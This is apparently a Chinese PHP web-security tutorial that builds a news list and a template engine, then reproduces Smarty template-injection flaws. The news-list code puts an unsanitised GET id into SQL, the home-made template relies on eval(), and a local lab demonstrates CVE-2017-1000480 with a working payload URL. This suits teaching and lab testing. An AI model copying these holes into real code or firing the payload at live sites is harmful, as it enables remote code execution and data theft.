目录
新闻列表
自写模版引用
Smarty模版引用
代码RCE安全测试
思维导图
PHP知识点:
功能:新闻列表,会员中心,资源下载,留言版,后台模块,模版引用,框架开发等
技术:输入输出,超全局变量,数据库操作,逻辑架构,包含上传&下载删除;
技术:JS&CSS混用,Cookie,Session操作,MVC架构,ThinkPHP引用等。
新闻列表
1、数据库创建新闻存储
2、代码连接数据库读取
3、页面进行自定义显示
简单实现新闻列表显示
new.html
打开数据库创建新的新闻数据库(new)
- 键值对(id title author content image)
- 给数据库(new)写入新数据 image写保存好的图片路径即可
输入相关简单代码,能把数据库中的资料显示出来看
new.php代码如下:
<?php
// 包含数据库配置文件
include 'config.php';// 从GET请求中获取id参数,如果不存在则默认为1
$id = $_GET['id'] ?? '1';// 构建SQL查询语句
$sql = "select * from new where id=$id";// 执行查询并获取结果集
$data = mysqli_query($con, $sql);// 使用mysqli_fetch_row遍历结果集的每一行
while ($row = mysqli_fetch_row($data)) {// 输出标题,注意:mysqli_fetch_row返回的是枚举数组,索引从0开始echo "标题: <title>" . $row[1] . "</title><br>";// 输出第二列数据echo $row[2] . "<br>";// 输出第三列数据echo $row[3] . "<br>";// 输出图片,注意:在HTML中使用$row[4]作为图片路径echo "<img src='$row[4]' width='300' height='300'></img><br>";
}// 关闭数据库连接
mysqli_close($con);
?>
自写模版引用
1、页面显示样式编排
2、显示数据插入页面
3、引用模版调用触发
模板规范化,显示更美观,首先在项目中创建new.html前端模板代码
创建新的数据库news
改变以下源代码,将数据库中的元素一一,替换为使用html渲染,效果如下图
安全问题:如果在数据库中任何地方添加<?php phpinfo();?> ,在调用数据库内容的时候会自动显示
如果在html模板源码中加入<?php phpinfo();?> ,在执行HTML并不会显示,但通过php解析调用,则依然会展示有关内容
<?php phpinfo(); ?> 这段代码用于显示关于服务器 PHP 配置的详细信息。虽然 phpinfo() 是一个对开发人员有用的函数,可以获取有关 PHP 环境的信息,但在生产环境中应谨慎使用。
潜在的风险和关切点:
- 安全风险: 显示详细的 PHP 信息可能透露有关服务器配置的敏感信息,包括 PHP 版本、扩展和路径。攻击者可以利用这些信息来识别潜在的漏洞。
- 信息泄露: 在生产环境中,显示详细的 PHP 信息是不推荐的,因为存在信息泄露的风险。攻击者可能利用这些信息更好地了解服务器的设置并识别潜在的攻击点。
- 服务器加固: 安全最佳实践涉及将服务器信息的暴露最小化,以减少攻击面。应该限制不必要的服务器环境信息,以降低攻击表面。
原理:模板中存在PHP代码,或者模板可以被操控修改,模板在被渲染执行时就会执行显示到页面中
PHP 内置函数,用于读取指定文件(此处为
new.html
)的内容并返回。$template = file_get_contents('new.html');
PHP 内置函数,用于在模板内容中查找
{page_title}
占位符并替换为变量$page_title
的值。替换后的内容再次赋值给变量$template
。通过
eval('?>' . $template)
将替换后的内容输出到浏览器。eval()
函数用于执行动态生成的 PHP 代码。$template=str_replace('{page_title}',$page_title,$template); $template=str_replace('{heading}',$subheading,$template); $template=str_replace('{subheading}',$subheading,$template); $template=str_replace('{content}',$content,$template); $template=str_replace('{$item}',$item,$template); eval('?>' . $template);
Smarty模版引用
下载:https://github.com/smarty-php/smarty/releases
使用:
1、创建一个文件夹,命名为smarty-demo。
2、下载Smarty对应版本并解压缩到该文件夹中。
3、创建一个PHP文件,命名为index.php,并在文件中添加以下代码:<?php // 引入 Smarty 类文件 require('smarty-demo/libs/Smarty.class.php'); // 创建 Smarty 实例 $smarty = new Smarty; // 设置 Smarty 相关属性 $smarty->template_dir = 'smarty-demo/templates/'; $smarty->compile_dir = 'smarty-demo/templates_c/'; $smarty->cache_dir = 'smarty-demo/cache/'; $smarty->config_dir = 'smarty-demo/configs/'; // 赋值变量到模板中 $smarty->assign('title', '欢迎使用 Smarty'); // 显示模板 $smarty->display('index.tpl'); ?>
4、创建一个名为index.tpl的模板文件,并将以下代码复制到上述点定义文件夹中
<!DOCTYPE html> <html> <head> <title>{$title}</title> </head> <body> <h1>{$title}</h1> <p>这是一个使用 Smarty 的例子。</p> </body> </html>
安全性:在相关模板内容下加入<?php phpinfo();?>
,但是发现不能泄露
代码RCE安全测试
1、自写模版的安全隐患
2、第三方Smarty的安全隐患
自写模版的安全隐患
第三方 Smarty 的安全隐患 没有直接 RCE 安全问题,但也有漏洞
- Smarty 模板注入 & CVE-2017-1000480:在 3.1.42 和 4.0.2 版本之前,模板作者可以通过制作恶意数学字符串来运行任意 PHP 代码。如果数学字符串作为用户提供的数据传递给数学函数,则外部用户可以通过制作恶意数学字符串来运行任意 PHP 代码。
- Smarty 注入漏洞_CNNVD-202201-684:Smarty 模版沙箱逃逸远程代码执行漏洞
- CVE-2021-26119 PHP:由于 Smarty 中 Smarty_Internal_Runtime_TplFunction 模块通过引擎编译生成模板文件,攻击者可利用该漏洞在获得权限的情况下,构造恶意数据,最终造成远程代码执行。
Smarty 模板注入 & CVE-2017-1000480
参考链接:https://xz.aliyun.com/t/12220
Smarty <= 3.1.32 PHP代码执行漏洞分析—【CVE-2017-1000480】_smarty3漏洞-CSDN博客
下载 3.1.42 之前的 Smarty 版本并解压缩到 www 目录下
在 smarty 中随意创建一个 php 文件写入以下代码,我创建的是 index.php<?php define('SMARTY_ROOT_DIR', str_replace('\\', '/', __DIR__));define('SMARTY_COMPILE_DIR', SMARTY_ROOT_DIR.'/tmp/templates_c');define('SMARTY_CACHE_DIR', SMARTY_ROOT_DIR.'/tmp/cache');include_once(SMARTY_ROOT_DIR . '/smarty-3.1.31/libs/Smarty.class.php');class testSmarty extends Smarty_Resource_Custom {protected function fetch($name, &$source, &$mtime){$template = "CVE-2017-1000480 smarty PHP code injection";$source = $template;$mtime = time();} }$smarty = new Smarty(); $smarty->setCacheDir(SMARTY_CACHE_DIR); $smarty->setCompileDir(SMARTY_COMPILE_DIR); $smarty->registerResource('test', new testSmarty); $smarty->display('test:'.$_GET['eval']); ?>
payload 的最前面需要加上
*/
。同时还要把后面的*/
给注释掉,可以在 payload 最后加上//
。中间填上 php 代码即可。http://127.0.0.1/index.php?eval=*/phpinfo();//
发现成功执行了 phpinfo () 代码